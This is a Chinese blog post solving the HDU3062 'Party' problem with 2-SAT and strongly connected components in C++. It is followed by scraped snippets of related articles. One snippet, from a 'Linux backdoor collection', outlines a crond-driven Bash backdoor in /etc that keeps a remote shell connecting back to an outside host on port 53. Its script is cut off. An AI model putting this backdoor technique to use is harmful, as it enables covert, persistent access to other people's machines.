HDU3062(2-SAT)

Party

Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)
Total Submission(s): 6682    Accepted Submission(s): 2194

Problem Description

有n对夫妻被邀请参加一个聚会,因为场地的问题,每对夫妻中只有1人可以列席。在2n 个人中,某些人之间有着很大的矛盾(当然夫妻之间是没有矛盾的),有矛盾的2个人是不会同时出现在聚会上的。有没有可能会有n 个人同时列席?

Input

n: 表示有n对夫妻被邀请 (n<= 1000)
m: 表示有m 对矛盾关系 ( m < (n - 1) * (n -1))

在接下来的m行中,每行会有4个数字,分别是 A1,A2,C1,C2 
A1,A2分别表示是夫妻的编号 
C1,C2 表示是妻子还是丈夫 ,0表示妻子 ,1是丈夫
夫妻编号从 0 到 n -1

Output

如果存在一种情况 则输出YES 
否则输出 NO

Sample Input

2
1
0 1 1 1

Sample Output

YES

Source

2009 Multi-University Training Contest 16 - Host by NIT

令夫为a,妻为a非

有矛盾的夫妻之间连边,不能出现在同一个强连通分量中。

  1 //2017-08-26
  2 #include <cstdio>
  3 #include <cstring>
  4 #include <iostream>
  5 #include <algorithm>
  6 #include <vector>
  7
  8 using namespace std;
  9
 10 const int N = 5010;
 11 const int M = N*N;
 12 int head[N], rhead[N], tot, rtot;
 13 struct Edge{
 14     int to, next;
 15 }edge[M], redge[M];
 16
 17 void init(){
 18     tot = 0;
 19     rtot = 0;
 20     memset(head, -1, sizeof(head));
 21     memset(rhead, -1, sizeof(rhead));
 22 }
 23
 24 void add_edge(int u, int v){
 25     edge[tot].to = v;
 26     edge[tot].next = head[u];
 27     head[u] = tot++;
 28
 29     redge[rtot].to = u;
 30     redge[rtot].next = rhead[v];
 31     rhead[v] = rtot++;
 32 }
 33
 34 vector<int> vs;//后序遍历顺序的顶点列表
 35 bool vis[N];
 36 int cmp[N];//所属强连通分量的拓扑序
 37
 38 //input: u 顶点
 39 //output: vs 后序遍历顺序的顶点列表
 40 void dfs(int u){
 41     vis[u] = true;
 42     for(int i = head[u]; i != -1; i = edge[i].next){
 43         int v = edge[i].to;
 44         if(!vis[v])
 45           dfs(v);
 46     }
 47     vs.push_back(u);
 48 }
 49
 50 //input: u 顶点编号; k 拓扑序号
 51 //output: cmp[] 强连通分量拓扑序
 52 void rdfs(int u, int k){
 53     vis[u] = true;
 54     cmp[u] = k;
 55     for(int i = rhead[u]; i != -1; i = redge[i].next){
 56         int v = redge[i].to;
 57         if(!vis[v])
 58           rdfs(v, k);
 59     }
 60 }
 61
 62 //Strongly Connected Component 强连通分量
 63 //input: n 顶点个数
 64 //output: k 强连通分量数;
 65 int scc(int n){
 66     memset(vis, 0, sizeof(vis));
 67     vs.clear();
 68     for(int u = 0; u < n; u++)
 69       if(!vis[u])
 70         dfs(u);
 71     int k = 0;
 72     memset(vis, 0, sizeof(vis));
 73     for(int i = vs.size()-1; i >= 0; i--)
 74       if(!vis[vs[i]])
 75         rdfs(vs[i], k++);
 76     return k;
 77 }
 78
 79 void solve(int n){
 80     for(int i = 0; i < n; i++){
 81         if(cmp[i] == cmp[i+n]){//a和NOT a在同一个强连通分量中,布尔方程无解
 82             cout<<"NO"<<endl;
 83             return;
 84         }
 85     }
 86     cout<<"YES"<<endl;//布尔方程有解
 87     return;
 88 }
 89
 90 int main()
 91 {
 92     std::ios::sync_with_stdio(false);
 93     //freopen("inputA.txt", "r", stdin);
 94     int n, m;
 95     while(cin>>n>>m){
 96         init();
 97         int u, v, a, b;
 98         for(int i = 0; i < m; i++){
 99             cin>>u>>v>>a>>b;
100             if(a == 0 && b == 0){// u && v
101                 add_edge(u+n, v);// NOT u -> v
102                 add_edge(v+n, u);// NOT v -> u
103             }else if(a == 0 && b == 1){// u && NOT v
104                 add_edge(u+n, v+n);// NOT u -> NOT v
105                 add_edge(v, u);// v -> u
106             }else if(a == 1 && b == 0){// NOT u && v
107                 add_edge(u, v);// u -> v
108                 add_edge(v+n, u+n);// NOT v -> NOT u
109             }else if(a == 1 && b == 1){// NOT u && NOT v
110                 add_edge(u, v+n);// u -> NOT v
111                 add_edge(v, u+n);// v -> NOT u
112             }
113         }
114         scc(n<<1);
115         solve(n);
116     }
117
118     return 0;
119 }
时间: 2024-12-09 17:59:22

HDU3062(2-SAT)的相关文章

(2 sat) hdu 1824

Let's go home Time Limit: 10000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 1523    Accepted Submission(s): 616 Problem Description 小时候,乡愁是一枚小小的邮票,我在这头,母亲在那头.                        —— 余光中 集训是辛苦的,道路是坎坷的,休息还是

LA 3211 飞机调度(2—SAT)

https://vjudge.net/problem/UVALive-3211 题意: 有n架飞机需要着陆,每架飞机都可以选择“早着陆”和“晚着陆”两种方式之一,且必须选择一种,第i架飞机的早着陆时间为E,晚着陆时间为L,不得在其他时间着陆.你的任务是为这些飞机安排着陆方式,使得整个着陆计划尽量安全.换句话说,如果把所有飞机的实际着陆时间按照从早到晚的顺序排列,相邻两个着陆时间间隔的最小值. 思路: 二分查找最大值P,每次都用2—SAT判断是否可行. 1 #include<iostream>

(2 sat) poj 2723

Get Luffy Out Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 7758   Accepted: 2969 Description Ratish is a young man who always dreams of being a hero. One day his friend Luffy was caught by Pirate Arlong. Ratish set off at once to Arlo

命令说明(混乱版)第一周

命令  bc 是任意精度计算器语言 在linux下当计算器用选项值-i:强制进入交互式模式:-l:定义使用的标准数学库-w:对POSIX bc的扩展给出警告信息:-q:不打印正常的GNU bc环境信息:-v:显示指令版本信息:-h:显示指令的帮助信息.常用运算: 加法- 减法* 乘法/ 除法^ 指数% 余数 cat 链接文件并打印到标准输出设备上 type 用于显示指定命令的类型,判断给出的指令是内部还是外部如果给出的恢复是 XX is a shell builtin 是内建命令-a 显示 指令

POJ 3207 Ikki&#39;s Story IV - Panda&#39;s Trick(2 - sat啊)

题目链接:http://poj.org/problem?id=3207 Description liympanda, one of Ikki's friend, likes playing games with Ikki. Today after minesweeping with Ikki and winning so many times, he is tired of such easy games and wants to play another game with Ikki. liy

[转载]Linux后门整理合集(脉搏推荐)

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

[转] Java程序员学C#基本语法两个小时搞定(对比学习)

Java程序员学C#基本语法两个小时搞定(对比学习) 对于学习一门新的语言,关键是学习新语言和以前掌握的语言的区别,但是也不要让以前语言的东西,固定了自己的思维模式,多看一下新的语言的编程思想. 1.引包 using System;java用import2.构造函数和java语法相同3.析构函数  变量和类的对象都有生命周期,生命周期结束,这些变量和对象就要被撤销.  类的对象被撤销时,将自动调用析构函数.一些善后工作可放在析构函数中完成.  析构函数的名字为~类名,无返回类型,也无参数.Per

Linux版Matlab R2015b的bug——脚本运行的陷阱(未解决)

0 系统+软件版本 系统:CentOS 6.7 x64, 内核 2.6.32-573.el6.x86_64软件:Matlab R2015b(包括威锋网和东北大学ipv6下载的资源,都测试过) 1 bug描述 1.1 未知的“陷阱” 首先,这个程序在Matlab R2013a中可以完美运行,这个“陷阱“在是新安装的R2015b上才出现的. 说它是“陷阱“,是因为脚本文件涉及到大量的数据处理,比如一个几百次的循环,它可能在执行某一句的时候就失去响应了,可能是一个循环,也可能是单句,仿佛掉进了一个未知

学习WebSocket一(WebSocket初识)

Java EE 7 去年刚刚发布了JSR356规范,使得WebSocket的Java API得到了统一,Tomcat从7.0.47开始支持JSR356,这样一来写WebSocket的时候,所用的代码都是可以一样的.今天终于体验了一把Tomcat发布的WebSocket,用着很爽,下面把这一历程分享给大家. 关键词:WebSocket, Tomcat 前提:使用Tomcat7.0.47,Firefox25.0.0.5046 首先Tomcat7.0.47自带WebSocket的示例程序,有两种版本,

Jackson(使用注解)

jackson在实际应用中给我们提供了一系列注解,提高了开发的灵活性,下面介绍一下最常用的一些注解 @JsonIgnoreProperties此注解是类注解,作用是json序列化时将Java bean中的一些属性忽略掉,序列化和反序列化都受影响. @JsonIgnore此注解用于属性或者方法上(最好是属性上),作用和上面的@JsonIgnoreProperties一样. @JsonFormat此注解用于属性或者方法上(最好是属性上),可以方便的把Date类型直接转化为我们想要的模式,比如@Jso